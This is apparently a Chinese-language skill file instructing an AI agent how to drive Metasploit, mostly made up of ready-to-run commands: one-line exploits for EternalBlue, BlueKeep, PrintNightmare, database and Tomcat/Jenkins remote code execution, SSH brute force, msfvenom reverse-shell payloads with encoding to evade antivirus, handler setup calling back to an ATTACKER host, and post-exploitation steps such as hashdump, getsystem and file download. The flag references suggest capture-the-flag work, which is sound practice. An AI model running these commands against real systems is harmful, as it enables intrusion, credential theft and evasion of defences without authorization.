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msf-oneshot

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Metasploit Framework 调用方法论(一行式 + 交互式)。当需要利用操作系统级漏洞(如 EternalBlue/MS17-010)、数据库远程漏洞(如 PostgreSQL/MySQL RCE)、网络服务漏洞(SMB/RDP/FTP)、需要生成 payload、启动反弹 shell handler、或后渗透操作时使用。MSF 拥有 2000+ exploit 模块,覆盖 Windows/Linux 操作系统、数据库、网络设备的远程利用。本技能同时覆盖一行式快速利用和 interactive_session 交互式操作(handler/meterpreter/后渗透)。任何涉及 metasploit、msfconsole、meterpreter、系统级 exploit、远程溢出、payload 生成、handler、后渗透的场景都应使用此技能

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Metasploit Framework 调用方法论

MSF 有两种调用方式,分别适合不同场景:

方式适用场景工具
一行式 (msfconsole -q -x)单次 exploit、漏洞检测、msfvenom直接 bash 执行
交互式 (interactive_session)Handler 监听、Meterpreter 会话、后渗透interactive_session MCP 工具

一行式适合"发射后不管"的操作——执行完自动退出。但 handler 监听和 meterpreter 后渗透需要持续交互,一行式做不到(-x 执行完就退出了,& 后台化也无法读取输出)。这时用 interactive_session 启动一个持久 tmux 会话,就能随时发送命令、读取输出。

参考资料


Phase 1: 一行式基本语法

# 基本格式:用分号连接多条 MSF 命令
msfconsole -q -x "use EXPLOIT; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# -q = 静默启动(不显示 banner)
# -x = 执行命令字符串
# exit = 执行完退出(重要!否则会挂起)

完整示例:EternalBlue (MS17-010)

msfconsole -q -x "
  use exploit/windows/smb/ms17_010_eternalblue;
  set RHOSTS 10.0.0.1;
  set LHOST 10.0.0.2;
  set PAYLOAD windows/x64/meterpreter/reverse_tcp;
  set LPORT 4444;
  run;
  exit
"

msfconsole 启动需要 10-30 秒加载模块库,这是正常现象。

Phase 2: 常见漏洞利用场景

2.1 操作系统级漏洞(Zone 3/4 最常用)

# MS17-010 EternalBlue(Windows SMB)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# MS08-067(Windows Server 2003/XP)
msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# BlueKeep(Windows RDP CVE-2019-0708)
msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS TARGET; set LHOST ATTACKER; set TARGET 2; run; exit"

# PrintNightmare(Windows Print Spooler)
msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

2.2 数据库远程利用

# PostgreSQL 代码执行(默认口令 postgres/postgres)
msfconsole -q -x "use exploit/multi/postgres/postgres_copy_from_program_cmd_exec; set RHOSTS TARGET; set USERNAME postgres; set PASSWORD postgres; set LHOST ATTACKER; run; exit"

# MySQL UDF 提权(需要已知凭据)
msfconsole -q -x "use exploit/multi/mysql/mysql_udf_payload; set RHOSTS TARGET; set USERNAME root; set PASSWORD ''; set LHOST ATTACKER; run; exit"

# MSSQL xp_cmdshell
msfconsole -q -x "use exploit/windows/mssql/mssql_payload; set RHOSTS TARGET; set USERNAME sa; set PASSWORD password; set LHOST ATTACKER; run; exit"

# Redis 未授权写 SSH key / Webshell
msfconsole -q -x "use exploit/linux/redis/redis_replication_cmd_exec; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

2.3 Web/中间件服务

# Tomcat Manager 部署 WAR(需要凭据)
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS TARGET; set RPORT 8080; set HttpUsername tomcat; set HttpPassword tomcat; set LHOST ATTACKER; run; exit"

# JBoss 反序列化
msfconsole -q -x "use exploit/multi/http/jboss_invoke_deploy; set RHOSTS TARGET; set RPORT 8080; set LHOST ATTACKER; run; exit"

# Jenkins Script Console
msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS TARGET; set RPORT 8080; set TARGETURI /; set LHOST ATTACKER; run; exit"

2.4 网络服务

# FTP vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS TARGET; run; exit"

# Samba(CVE-2017-7494)
msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# SSH 暴力破解
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS TARGET; set USERNAME root; set PASS_FILE /usr/share/wordlists/rockyou.txt; set STOP_ON_SUCCESS true; run; exit"

Phase 3: 漏洞检测(不利用,只检测)

用 auxiliary/scanner 或 check 命令进行安全检测:

# 检测 MS17-010 是否存在(不利用)
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS TARGET; run; exit"

# SMB 版本检测
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS TARGET; run; exit"

# 批量端口服务检测
msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS TARGET; set PORTS 445,3389,1433,3306; run; exit"

# 使用 check 命令(部分 exploit 支持)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; check; exit"

Phase 4: Payload 生成(msfvenom)

msfvenom 不需要 msfconsole,直接 bash 调用:

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.php

# JSP webshell(Tomcat WAR 部署用)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.py

# 编码绕过(基础免杀)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe

Phase 5: Handler 模式(interactive_session)

Handler 需要持续监听等待回连——一行式 -x 在执行完就退出了,无法维持监听。用 interactive_session 启动 msfconsole 交互会话来解决这个问题。

典型流程:生成 payload → 启动 handler → 投递 payload → 获取 session

Step 1: 生成 payload(一行式,Phase 4)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

Step 2: 启动 handler(交互式)

interactive_session(action="start", session_name="msf_handler", command="msfconsole -q")

等待 15-20 秒让 msfconsole 加载完毕,然后配置 handler:

interactive_session(action="send", session_name="msf_handler", command="use exploit/multi/handler", wait=3)
interactive_session(action="send", session_name="msf_handler", command="set PAYLOAD windows/x64/meterpreter/reverse_tcp", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LHOST 0.0.0.0", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LPORT 4444", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set ExitOnSession false", wait=2)
interactive_session(action="send", session_name="msf_handler", command="exploit -j", wait=5)

Handler 现在在后台监听。可以随时 read 检查是否有 session 回连:

interactive_session(action="read", session_name="msf_handler")

Step 3: 投递 payload

通过其他漏洞(文件上传、RCE 等)将 shell.exe 传到目标并执行。

Step 4: 确认 session

interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)

看到 meterpreter session 建立后,进入 Phase 6 后渗透。

快捷方式:一条 -x 启动 handler

如果你确定只需要监听不需要后续交互,也可以用一条命令启动:

interactive_session(action="start", session_name="msf_handler", command="msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit'")

这样省去了逐条 send 的步骤,但后续交互仍然通过 send/read 进行。

Phase 6: 后渗透操作(interactive_session)

获取 meterpreter session 后,通过 interactive_session 执行后渗透命令。meterpreter 是交互式 shell,只有在持久会话中才能充分使用。复杂的 session 管理、端口转发、SOCKS、Kiwi、resource script 和 multiple transports 见 references/meterpreter-operations.md。

进入 session 并收集信息

interactive_session(action="send", session_name="msf_handler", command="sessions -i 1", wait=3)
interactive_session(action="send", session_name="msf_handler", command="sysinfo", wait=3)
interactive_session(action="send", session_name="msf_handler", command="getuid", wait=3)
interactive_session(action="send", session_name="msf_handler", command="ipconfig", wait=3)

常用后渗透操作

# 文件系统操作
interactive_session(action="send", session_name="msf_handler", command="ls C:\\Users\\", wait=3)
interactive_session(action="send", session_name="msf_handler", command="download C:\\flag.txt /tmp/flag.txt", wait=5)
interactive_session(action="send", session_name="msf_handler", command="upload /tmp/tool.exe C:\\temp\\tool.exe", wait=5)

# 凭据提取(需要 SYSTEM 权限)
interactive_session(action="send", session_name="msf_handler", command="hashdump", wait=5)

# 提权
interactive_session(action="send", session_name="msf_handler", command="getsystem", wait=5)

# 网络信息(内网渗透前置)
interactive_session(action="send", session_name="msf_handler", command="arp", wait=3)
interactive_session(action="send", session_name="msf_handler", command="route", wait=3)

# 返回 MSF 主控台(保持 session 存活)
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)

会话管理

# 列出所有 sessions
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)

# 切换到另一个 session
interactive_session(action="send", session_name="msf_handler", command="sessions -i 2", wait=3)

# 批量执行低噪声确认命令
interactive_session(action="send", session_name="msf_handler", command="sessions -c whoami", wait=3)

# 返回主控台但保持 session 存活
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)

# 结束操作后关闭 MSF
interactive_session(action="close", session_name="msf_handler")

备选方案:无需 meterpreter 的命令执行

如果不需要交互式 meterpreter(只想执行一条命令拿 flag),直接生成命令执行 payload 更简单:

msfvenom -p windows/x64/exec CMD="type C:\\flag.txt" -f exe -o cmd.exe
msfvenom -p linux/x64/exec CMD="cat /flag > /tmp/result.txt" -f elf -o cmd.elf

配合一行式 handler 即可(不需要 interactive_session)。

决策树:一行式 vs interactive_session

你要用 MSF 做什么?
│
├─ 执行单个 exploit(EternalBlue、Tomcat upload 等)
│   └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 漏洞检测 / auxiliary scanner
│   └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 生成 payload(msfvenom)
│   └→ 直接 bash 调用 msfvenom,不需要 msfconsole
│
├─ 启动 handler 等待反弹 shell
│   └→ interactive_session 启动 msfconsole,配置 handler
│      (handler 需要持续监听,一行式做不到)
│
├─ Meterpreter 后渗透(sysinfo、hashdump、文件操作)
│   └→ interactive_session send/read 交互
│      (meterpreter 是交互式 shell,需要持久会话)
│
├─ 只想执行一条命令拿 flag(不需要交互)
│   └→ msfvenom -p .../exec CMD="..." 生成命令执行 payload
│      配合一行式 handler 或 nc 监听即可
│
└─ Web 应用漏洞 (SQLi/XSS/SSRF)
    └→ 不用 MSF,curl/sqlmap/手动脚本更快

常见问题排查

症状原因解决
Exploit completed, but no sessionPayload 被杀/端口被占换端口、换 payload、检查防火墙
Connection refused目标端口未开放先 nmap 确认端口开放
msfconsole 启动超时数据库连接慢加 --no-database 或等待
Payload 无法回连LHOST 错误/防火墙确认 LHOST 是目标可达的 IP
interactive_session read 为空msfconsole 还在加载wait 设为 15-20 秒,重新 read